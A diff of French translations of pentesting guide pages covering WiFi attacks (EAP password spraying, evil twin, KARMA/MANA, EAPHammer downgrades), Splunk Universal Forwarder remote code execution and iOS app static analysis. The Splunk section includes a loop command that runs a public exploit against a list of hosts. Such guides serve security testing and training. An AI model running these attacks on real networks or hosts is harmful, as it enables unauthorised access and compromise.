Le masquage d'identité est pris en charge à la fois par EAP-PEAP et EAP-TTLS. Dans le contexte d'un réseau WiFi, une demande d'EAP-Identity est généralement initiée par le point d'accès (AP) lors du processus d'association. Pour garantir la protection de l'anonymat de l'utilisateur, la réponse du client EAP sur l'appareil de l'utilisateur contient uniquement les informations essentielles requises pour que le serveur RADIUS initial traite la demande. Ce concept est illustré à travers les scénarios suivants :
|
||||
|
||||
- EAP-Identity = anonyme
|
||||
- Dans ce scénario, tous les utilisateurs utilisent le pseudonyme "anonyme" comme identifiant utilisateur. Le serveur RADIUS initial fonctionne comme un serveur EAP-PEAP ou EAP-TTLS, responsable de la gestion du côté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement, soit déléguée à un serveur RADIUS distant (domicile).
|
||||
- Dans ce scénario, tous les utilisateurs utilisent le pseudonyme "anonyme" comme identifiant utilisateur. Le serveur RADIUS initial fonctionne soit comme un serveur EAP-PEAP, soit comme un serveur EAP-TTLS, responsable de la gestion du côté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement, soit déléguée à un serveur RADIUS distant (domicile).
|
||||
- EAP-Identity = anonyme@realm_x
|
||||
- Dans cette situation, les utilisateurs de différents royaumes cachent leurs identités tout en indiquant leurs royaumes respectifs. Cela permet au serveur RADIUS initial de faire le proxy des demandes EAP-PEAP ou EAP-TTLS vers les serveurs RADIUS dans leurs royaumes d'origine, qui agissent comme le serveur PEAP ou TTLS. Le serveur RADIUS initial fonctionne uniquement comme un nœud de relais RADIUS.
|
||||
- Alternativement, le serveur RADIUS initial peut fonctionner comme le serveur EAP-PEAP ou EAP-TTLS et soit gérer la méthode d'authentification protégée, soit la transférer à un autre serveur. Cette option facilite la configuration de politiques distinctes pour différents royaumes.
|
||||
|
||||
Dans EAP-PEAP, une fois le tunnel TLS établi entre le serveur PEAP et le client PEAP, le serveur PEAP initie une demande d'EAP-Identity et la transmet à travers le tunnel TLS. Le client répond à cette seconde demande d'EAP-Identity en envoyant une réponse d'EAP-Identity contenant la véritable identité de l'utilisateur à travers le tunnel chiffré. Cette approche empêche efficacement la révélation de la véritable identité de l'utilisateur à quiconque espionnant le trafic 802.11.
|
||||
|
||||
EAP-TTLS suit une procédure légèrement différente. Avec EAP-TTLS, le client s'authentifie généralement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password soit un attribut CHAP-Password dans le message TLS initial envoyé après l'établissement du tunnel.
|
||||
EAP-TTLS suit une procédure légèrement différente. Avec EAP-TTLS, le client s'authentifie généralement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password, soit un attribut CHAP-Password dans le message TLS initial envoyé après l'établissement du tunnel.
|
||||
|
||||
Quel que soit le protocole choisi, le serveur PEAP/TTLS obtient connaissance de la véritable identité de l'utilisateur après l'établissement du tunnel TLS. La véritable identité peut être représentée comme user@realm ou simplement user. Si le serveur PEAP/TTLS est également responsable de l'authentification de l'utilisateur, il possède maintenant l'identité de l'utilisateur et procède avec la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transférer une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS omet la couche de protocole PEAP ou TTLS. Dans les cas où la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la véritable identité de l'utilisateur, remplaçant le User-Name anonyme de la demande RADIUS entrante. Lorsque la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs User-Name et autres attributs d'authentification extraits de la charge utile TLS sont substitués dans le message RADIUS sortant, remplaçant le User-Name anonyme et les attributs TTLS EAP-Message trouvés dans la demande RADIUS entrante.
|
||||
|
||||
Pour plus d'infos, consultez [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
### EAP-Bruteforce (password spray)
|
||||
### EAP-Bruteforce (spray de mots de passe)
|
||||
|
||||
Si le client est censé utiliser un **nom d'utilisateur et un mot de passe** (notez que **EAP-TLS ne sera pas valide** dans ce cas), alors vous pourriez essayer d'obtenir une **liste** de **noms d'utilisateur** (voir la partie suivante) et de **mots de passe** et essayer de **bruteforcer** l'accès en utilisant [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
```bash
|
||||
@ -497,7 +497,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
Une attaque de jumeau malveillant exploite la façon dont les clients WiFi reconnaissent les réseaux, s'appuyant principalement sur le nom du réseau (ESSID) sans nécessiter que la station de base (point d'accès) s'authentifie auprès du client. Les points clés incluent :
|
||||
|
||||
- **Difficulté de Différenciation** : Les appareils ont du mal à distinguer entre les points d'accès légitimes et malveillants lorsqu'ils partagent le même ESSID et type de cryptage. Les réseaux du monde réel utilisent souvent plusieurs points d'accès avec le même ESSID pour étendre la couverture de manière transparente.
|
||||
- **Roaming des Clients et Manipulation de Connexion** : Le protocole 802.11 permet aux appareils de se déplacer entre les points d'accès au sein du même ESS. Les attaquants peuvent en profiter en incitant un appareil à se déconnecter de sa station de base actuelle et à se connecter à une station malveillante. Cela peut être réalisé en offrant un signal plus fort ou en perturbant la connexion au point d'accès légitime par des méthodes telles que des paquets de désauthentification ou le brouillage.
|
||||
- **Roaming des Clients et Manipulation de Connexion** : Le protocole 802.11 permet aux appareils de se déplacer entre les points d'accès au sein du même ESS. Les attaquants peuvent exploiter cela en incitant un appareil à se déconnecter de sa station de base actuelle et à se connecter à une station malveillante. Cela peut être réalisé en offrant un signal plus fort ou en perturbant la connexion au point d'accès légitime par des méthodes telles que des paquets de désauthentification ou le brouillage.
|
||||
- **Défis d'Exécution** : Exécuter avec succès une attaque de jumeau malveillant dans des environnements avec plusieurs points d'accès bien placés peut être difficile. Désauthentifier un seul point d'accès légitime entraîne souvent la connexion de l'appareil à un autre point d'accès légitime, à moins que l'attaquant ne puisse désauthentifier tous les points d'accès à proximité ou placer stratégiquement le point d'accès malveillant.
|
||||
|
||||
Vous pouvez créer un Open Evil Twin très basique (sans capacités de routage du trafic vers Internet) en :
|
||||
@ -549,7 +549,7 @@ Par défaut, EAPHammer propose ces méthodes d'authentification (notez GTC comme
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
C'est la méthodologie par défaut pour éviter de longs temps de connexion. Cependant, vous pouvez également spécifier aux serveurs les méthodes d'authentification du plus faible au plus fort :
|
||||
C'est la méthodologie par défaut pour éviter de longs temps de connexion. Cependant, vous pouvez également spécifier au serveur les méthodes d'authentification du plus faible au plus fort :
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
@ -585,20 +585,20 @@ Et regardez le nouvel **onglet "TLS déchiffré"** :
|
||||
|
||||
.png>)
|
||||
|
||||
## KARMA, MANA, Loud MANA et attaque de balises connues
|
||||
## KARMA, MANA, Loud MANA et attaque par balises connues
|
||||
|
||||
### ESSID et listes noires/blanches MAC
|
||||
### Listes noires/blanches ESSID et MAC
|
||||
|
||||
Différents types de listes de filtres d'accès aux médias (MFACLs) et leurs modes et effets correspondants sur le comportement d'un point d'accès (AP) malveillant :
|
||||
|
||||
1. **Liste blanche basée sur MAC** :
|
||||
- Le point d'accès malveillant ne répondra qu'aux requêtes de sonde des appareils spécifiés dans la liste blanche, restant invisible à tous les autres non listés.
|
||||
- L'AP malveillant ne répondra qu'aux requêtes de sonde des appareils spécifiés dans la liste blanche, restant invisible à tous les autres non listés.
|
||||
2. **Liste noire basée sur MAC** :
|
||||
- Le point d'accès malveillant ignorera les requêtes de sonde des appareils sur la liste noire, rendant effectivement le point d'accès malveillant invisible à ces appareils spécifiques.
|
||||
- L'AP malveillant ignorera les requêtes de sonde des appareils sur la liste noire, rendant effectivement l'AP malveillant invisible à ces appareils spécifiques.
|
||||
3. **Liste blanche basée sur SSID** :
|
||||
- Le point d'accès malveillant répondra aux requêtes de sonde uniquement pour des ESSIDs spécifiques listés, le rendant invisible aux appareils dont les listes de réseaux préférés (PNLs) ne contiennent pas ces ESSIDs.
|
||||
- L'AP malveillant répondra aux requêtes de sonde uniquement pour des ESSIDs spécifiques listés, le rendant invisible aux appareils dont les listes de réseaux préférés (PNLs) ne contiennent pas ces ESSIDs.
|
||||
4. **Liste noire basée sur SSID** :
|
||||
- Le point d'accès malveillant ne répondra pas aux requêtes de sonde pour les ESSIDs spécifiques sur la liste noire, le rendant invisible aux appareils recherchant ces réseaux particuliers.
|
||||
- L'AP malveillant ne répondra pas aux requêtes de sonde pour les ESSIDs spécifiques sur la liste noire, le rendant invisible aux appareils recherchant ces réseaux particuliers.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -624,7 +624,7 @@ Cette méthode permet à un **attaquant de créer un point d'accès malveillant
|
||||
|
||||
### MANA
|
||||
|
||||
Ensuite, **les appareils ont commencé à ignorer les réponses réseau non sollicitées**, réduisant l'efficacité de l'attaque karma originale. Cependant, une nouvelle méthode, connue sous le nom d'**attaque MANA**, a été introduite par Ian de Villiers et Dominic White. Cette méthode implique que l'AP malveillant **capture les listes de réseaux préférés (PNL) des appareils en répondant à leurs requêtes de sonde diffusées** avec des noms de réseaux (SSID) précédemment sollicités par les appareils. Cette attaque sophistiquée contourne les protections contre l'attaque karma originale en exploitant la façon dont les appareils se souviennent et priorisent les réseaux connus.
|
||||
Ensuite, **les appareils ont commencé à ignorer les réponses de réseau non solides**, réduisant l'efficacité de l'attaque karma originale. Cependant, une nouvelle méthode, connue sous le nom d'**attaque MANA**, a été introduite par Ian de Villiers et Dominic White. Cette méthode implique que l'AP malveillant **capture les listes de réseaux préférés (PNL) des appareils en répondant à leurs requêtes de sonde diffusées** avec des noms de réseaux (SSID) précédemment solides par les appareils. Cette attaque sophistiquée contourne les protections contre l'attaque karma originale en exploitant la façon dont les appareils se souviennent et priorisent les réseaux connus.
|
||||
|
||||
L'attaque MANA fonctionne en surveillant à la fois les requêtes de sonde dirigées et diffusées des appareils. Pour les requêtes dirigées, elle enregistre l'adresse MAC de l'appareil et le nom du réseau demandé, ajoutant ces informations à une liste. Lorsqu'une requête diffusée est reçue, l'AP répond avec des informations correspondant à l'un des réseaux de la liste de l'appareil, incitant l'appareil à se connecter à l'AP malveillant.
|
||||
```bash
|
||||
@ -657,4 +657,33 @@ L'**attaque de Beacon Burst connue** implique **la diffusion rapide de trames de
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** est un protocole permettant aux appareils de se connecter directement entre eux via Wi-Fi sans avoir besoin d'un point d'accès sans fil traditionnel
|
||||
**Wi-Fi Direct** est un protocole permettant aux appareils de se connecter directement les uns aux autres via Wi-Fi sans avoir besoin d'un point d'accès sans fil traditionnel. Cette capacité est intégrée dans divers appareils de l'Internet des objets (IoT), tels que les imprimantes et les téléviseurs, facilitant la communication directe entre appareils. Une caractéristique notable de Wi-Fi Direct est qu'un appareil joue le rôle d'un point d'accès, connu sous le nom de propriétaire de groupe, pour gérer la connexion.
|
||||
|
||||
La sécurité des connexions Wi-Fi Direct est établie par **Wi-Fi Protected Setup (WPS)**, qui prend en charge plusieurs méthodes de couplage sécurisé, notamment :
|
||||
|
||||
- **Push-Button Configuration (PBC)**
|
||||
- **Saisie de PIN**
|
||||
- **Near-Field Communication (NFC)**
|
||||
|
||||
Ces méthodes, en particulier la saisie de PIN, sont susceptibles aux mêmes vulnérabilités que le WPS dans les réseaux Wi-Fi traditionnels, les rendant cibles de vecteurs d'attaque similaires.
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking** est une attaque spécifique à Wi-Fi Direct. Elle reflète le concept d'une attaque Evil Twin mais cible les connexions Wi-Fi Direct. Dans ce scénario, un attaquant se fait passer pour un propriétaire de groupe légitime dans le but de tromper les appareils pour qu'ils se connectent à une entité malveillante. Cette méthode peut être exécutée à l'aide d'outils comme `airbase-ng` en spécifiant le canal, l'ESSID et l'adresse MAC de l'appareil usurpé :
|
||||
|
||||
## References
|
||||
|
||||
- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
||||
- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
||||
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
||||
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
||||
- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
||||
- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
||||
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
||||
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Prenez un moment pour consulter [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (connexion avec Facebook et imitation de WPA dans des portails captifs)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Si vous **énumérez** une machine **en interne** ou **en externe** et que vous trouvez **Splunk en cours d'exécution** (port 8090), si vous avez la chance de connaître des **identifiants valides**, vous pouvez **exploiter le service Splunk** pour **exécuter un shell** en tant qu'utilisateur exécutant Splunk. Si root l'exécute, vous pouvez élever vos privilèges à root.
|
||||
Si vous **énumérez** une machine **en interne** ou **en externe** et que vous trouvez **Splunk en cours d'exécution** (port 8090), si vous avez la chance de connaître des **identifiants valides**, vous pouvez **abuser du service Splunk** pour **exécuter un shell** en tant qu'utilisateur exécutant Splunk. Si root l'exécute, vous pouvez élever vos privilèges à root.
|
||||
|
||||
De plus, si vous êtes **déjà root et que le service Splunk n'écoute pas uniquement sur localhost**, vous pouvez **voler** le fichier **de mot de passe** **du** service Splunk et **craquer** les mots de passe, ou **ajouter de nouveaux** identifiants. Et maintenir la persistance sur l'hôte.
|
||||
|
||||
@ -19,7 +19,7 @@ Une exploitation ciblant l'Agent Splunk Universal Forwarder (UF) permet aux atta
|
||||
|
||||
- L'agent UF ne valide pas les connexions entrantes ni l'authenticité du code, le rendant vulnérable à l'exécution non autorisée de code.
|
||||
- Les méthodes courantes d'acquisition de mots de passe incluent leur localisation dans des répertoires réseau, des partages de fichiers ou de la documentation interne.
|
||||
- Une exploitation réussie peut conduire à un accès au niveau SYSTEM ou root sur des hôtes compromis, à l'exfiltration de données et à une infiltration réseau supplémentaire.
|
||||
- Une exploitation réussie peut conduire à un accès au niveau SYSTEM ou root sur les hôtes compromis, à l'exfiltration de données et à une infiltration réseau supplémentaire.
|
||||
|
||||
**Exécution de l'Exploitation :**
|
||||
|
||||
@ -29,8 +29,8 @@ Une exploitation ciblant l'Agent Splunk Universal Forwarder (UF) permet aux atta
|
||||
|
||||
**Impact :**
|
||||
|
||||
- Compromission complète du réseau avec des permissions au niveau SYSTEM/root sur chaque hôte.
|
||||
- Potentiel de désactivation de la journalisation pour échapper à la détection.
|
||||
- Compromission totale du réseau avec des permissions au niveau SYSTEM/root sur chaque hôte.
|
||||
- Potentiel de désactivation des journaux pour échapper à la détection.
|
||||
- Installation de portes dérobées ou de ransomwares.
|
||||
|
||||
**Commande Exemple pour l'Exploitation :**
|
||||
@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
||||
```
|
||||
**Exploits publics utilisables :**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||
|
||||
## Abus des requêtes Splunk
|
||||
|
||||
|
@ -26,7 +26,7 @@ Lors des tests, **plusieurs opérations vont être suggérées** (se connecter
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Pour les étapes suivantes, **l'application doit être installée** sur l'appareil et doit déjà avoir obtenu le **fichier IPA** de l'application.\
|
||||
> Lisez la page [Basic iOS Testing Operations](basic-ios-testing-operations.md) pour apprendre comment faire cela.
|
||||
|
||||
@ -34,8 +34,8 @@ basic-ios-testing-operations.md
|
||||
|
||||
Quelques décompilateurs intéressants pour les fichiers iOS - IPA :
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
Il est recommandé d'utiliser l'outil [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) pour effectuer une analyse statique automatique du fichier IPA.
|
||||
|
||||
@ -67,7 +67,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Le cryptid devrait ê
|
||||
|
||||
**Identification des Fonctions Sensibles/Insecure**
|
||||
|
||||
- **Algorithmes de Hachage Faibles**
|
||||
- **Weak Hashing Algorithms**
|
||||
|
||||
```bash
|
||||
# Sur l'appareil iOS
|
||||
@ -79,7 +79,7 @@ grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
|
||||
- **Fonctions Aléatoires Insecure**
|
||||
- **Insecure Random Functions**
|
||||
|
||||
```bash
|
||||
# Sur l'appareil iOS
|
||||
@ -93,7 +93,7 @@ grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
|
||||
- **Fonction ‘Malloc’ Insecure**
|
||||
- **Insecure ‘Malloc’ Function**
|
||||
|
||||
```bash
|
||||
# Sur l'appareil iOS
|
||||
@ -103,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
|
||||
- **Fonctions Insecure et Vulnérables**
|
||||
- **Insecure and Vulnerable Functions**
|
||||
|
||||
```bash
|
||||
# Sur l'appareil iOS
|
||||
@ -152,7 +152,7 @@ PID Name Identifier
|
||||
- Camera com.apple.camera
|
||||
- iGoat-Swift OWASP.iGoat-Swift
|
||||
```
|
||||
### Énumération de base et Hooking
|
||||
### Énumération de base & Hooking
|
||||
|
||||
Apprenez à **énumérer les composants de l'application** et comment **hooker facilement des méthodes et des classes** avec objection :
|
||||
|
||||
@ -174,7 +174,7 @@ La structure d'un **fichier IPA** est essentiellement celle d'un **package compr
|
||||
- **Sécurité** : Le répertoire `_CodeSignature/` joue un rôle critique dans la sécurité de l'application en vérifiant l'intégrité de tous les fichiers empaquetés grâce à des signatures numériques.
|
||||
- **Gestion des actifs** : Le fichier `Assets.car` utilise la compression pour gérer efficacement les actifs graphiques, crucial pour optimiser les performances de l'application et réduire sa taille globale.
|
||||
- **Frameworks et PlugIns** : Ces répertoires soulignent la modularité des applications iOS, permettant aux développeurs d'inclure des bibliothèques de code réutilisables (`Frameworks/`) et d'étendre la fonctionnalité de l'application (`PlugIns/`).
|
||||
- **Localisation** : La structure prend en charge plusieurs langues, facilitant la portée mondiale de l'application en incluant des ressources pour des packs de langue spécifiques.
|
||||
- **Localisation** : La structure prend en charge plusieurs langues, facilitant la portée mondiale de l'application en incluant des ressources pour des packs de langues spécifiques.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
@ -197,12 +197,12 @@ $ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Chemins de données**
|
||||
|
||||
Dans l'environnement iOS, les répertoires sont désignés spécifiquement pour les **applications système** et les **applications installées par l'utilisateur**. Les applications système résident dans le répertoire `/Applications`, tandis que les applications installées par l'utilisateur sont placées sous `/var/mobile/containers/Data/Application/`. Ces applications se voient attribuer un identifiant unique connu sous le nom de **UUID 128 bits**, rendant la tâche de localiser manuellement le dossier d'une application difficile en raison de l'aléatoire des noms de répertoires.
|
||||
Dans l'environnement iOS, les répertoires sont désignés spécifiquement pour les **applications système** et les **applications installées par l'utilisateur**. Les applications système résident dans le répertoire `/Applications`, tandis que les applications installées par l'utilisateur sont placées sous `/var/mobile/containers/Data/Application/`. Ces applications se voient attribuer un identifiant unique connu sous le nom de **UUID 128 bits**, rendant la tâche de localiser manuellement le dossier d'une application difficile en raison de l'aléatoire des noms de répertoire.
|
||||
|
||||
> [!WARNING]
|
||||
> Comme les applications iOS doivent être isolées, chaque application aura également un dossier à l'intérieur de **`$HOME/Library/Containers`** avec le **`CFBundleIdentifier`** de l'application comme nom de dossier.
|
||||
>
|
||||
> Cependant, les deux dossiers (dossiers de données et de conteneurs) contiennent le fichier **`.com.apple.mobile_container_manager.metadata.plist`** qui relie les deux fichiers dans la clé `MCMetadataIdentifier`).
|
||||
> Cependant, les deux dossiers (données et dossiers de conteneur) contiennent le fichier **`.com.apple.mobile_container_manager.metadata.plist`** qui relie les deux fichiers dans la clé `MCMetadataIdentifier`).
|
||||
|
||||
Pour faciliter la découverte du répertoire d'installation d'une application installée par l'utilisateur, l'**outil objection** fournit une commande utile, `env`. Cette commande révèle des informations détaillées sur le répertoire de l'application en question. Voici un exemple de la façon d'utiliser cette commande :
|
||||
```bash
|
||||
@ -248,7 +248,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Le contenu de ce répertoire **n'est pas sauvegardé**.
|
||||
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
|
||||
- **Library/Application Support/**
|
||||
- Contient des **fichiers persistants** nécessaires au fonctionnement de l'application.
|
||||
- Contient des **fichiers** **persistants** nécessaires au fonctionnement de l'application.
|
||||
- **Invisible** **pour** **les utilisateurs** et les utilisateurs ne peuvent pas y écrire.
|
||||
- Le contenu de ce répertoire est **sauvegardé**.
|
||||
- L'application peut désactiver des chemins en définissant `NSURLIsExcludedFromBackupKey`.
|
||||
@ -263,7 +263,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Le contenu de ce répertoire n'est pas sauvegardé.
|
||||
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
|
||||
|
||||
Examinons de plus près le répertoire du bundle de l'application iGoat-Swift (.app) à l'intérieur du répertoire du bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) :
|
||||
Examinons de plus près le répertoire du Bundle de l'application iGoat-Swift (.app) à l'intérieur du répertoire Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) :
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -277,7 +277,7 @@ Regular 420 None ... LICENSE.txt
|
||||
Regular 420 None ... Sentinel.txt
|
||||
Regular 420 None ... README.txt
|
||||
```
|
||||
### Reversing Binaire
|
||||
### Binary Reversing
|
||||
|
||||
À l'intérieur du dossier `<application-name>.app`, vous trouverez un fichier binaire appelé `<application-name>`. C'est le fichier qui sera **exécuté**. Vous pouvez effectuer une inspection de base du binaire avec l'outil **`otool`** :
|
||||
```bash
|
||||
@ -329,7 +329,7 @@ data 0x1003de748
|
||||
flags 0x80
|
||||
instanceStart 8
|
||||
```
|
||||
Pour obtenir un code Objective-C plus compact, vous pouvez utiliser [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||||
Pour obtenir un code Objective-C plus compact, vous pouvez utiliser [**class-dump**](http://stevenygard.com/projects/class-dump/) :
|
||||
```bash
|
||||
class-dump some-app
|
||||
//
|
||||
@ -371,21 +371,21 @@ ios-basics.md
|
||||
|
||||
### Plist
|
||||
|
||||
Les fichiers **plist** sont des fichiers XML structurés qui **contiennent des paires clé-valeur**. C'est un moyen de stocker des données persistantes, donc parfois vous pouvez trouver **des informations sensibles dans ces fichiers**. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après les avoir utilisés intensivement pour voir si de nouvelles données sont écrites.
|
||||
Les fichiers **plist** sont des fichiers XML structurés qui **contiennent des paires clé-valeur**. C'est un moyen de stocker des données persistantes, donc parfois vous pouvez trouver **des informations sensibles dans ces fichiers**. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après une utilisation intensive pour voir si de nouvelles données sont écrites.
|
||||
|
||||
La façon la plus courante de persister des données dans des fichiers plist est par l'utilisation de **NSUserDefaults**. Ce fichier plist est enregistré à l'intérieur du bac à sable de l'application dans **`Library/Preferences/<appBundleID>.plist`**
|
||||
La façon la plus courante de persister des données dans des fichiers plist est par l'utilisation de **NSUserDefaults**. Ce fichier plist est enregistré dans le bac à sable de l'application dans **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fournit une interface programmatique pour interagir avec le système par défaut. Le système par défaut permet à une application de personnaliser son comportement en fonction des **préférences de l'utilisateur**. Les données enregistrées par `NSUserDefaults` peuvent être consultées dans le bundle de l'application. Cette classe stocke **des données** dans un **fichier plist**, mais elle est destinée à être utilisée avec de petites quantités de données.
|
||||
|
||||
Ces données ne peuvent plus être accessibles directement via un ordinateur de confiance, mais peuvent être accessibles en effectuant une **sauvegarde**.
|
||||
|
||||
Vous pouvez **dumper** les informations enregistrées en utilisant **`NSUserDefaults`** avec `objection's ios nsuserdefaults get`
|
||||
Vous pouvez **extraire** les informations enregistrées en utilisant **`NSUserDefaults`** avec `objection's ios nsuserdefaults get`
|
||||
|
||||
Pour trouver tous les plist utilisés par l'application, vous pouvez accéder à `/private/var/mobile/Containers/Data/Application/{APPID}` et exécuter :
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
Pour convertir des fichiers au format **XML ou binaire (bplist)** en XML, plusieurs méthodes selon votre système d'exploitation sont disponibles :
|
||||
Pour convertir des fichiers au format **XML ou binaire (bplist)** en XML, diverses méthodes selon votre système d'exploitation sont disponibles :
|
||||
|
||||
**Pour les utilisateurs de macOS :** Utilisez la commande `plutil`. C'est un outil intégré dans macOS (10.2+), conçu à cet effet :
|
||||
```bash
|
||||
@ -403,7 +403,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) est un framework pour gérer la couche modèle des objets dans votre application. [Core Data peut utiliser SQLite comme son magasin persistant](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mais le framework lui-même n'est pas une base de données.\
|
||||
CoreData ne chiffre pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Voir le [GitHub Repo](https://github.com/project-imas/encrypted-core-data) pour plus de détails.
|
||||
CoreData n'encrypte pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Voir le [GitHub Repo](https://github.com/project-imas/encrypted-core-data) pour plus de détails.
|
||||
|
||||
Vous pouvez trouver les informations SQLite Core Data d'une application dans le chemin `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
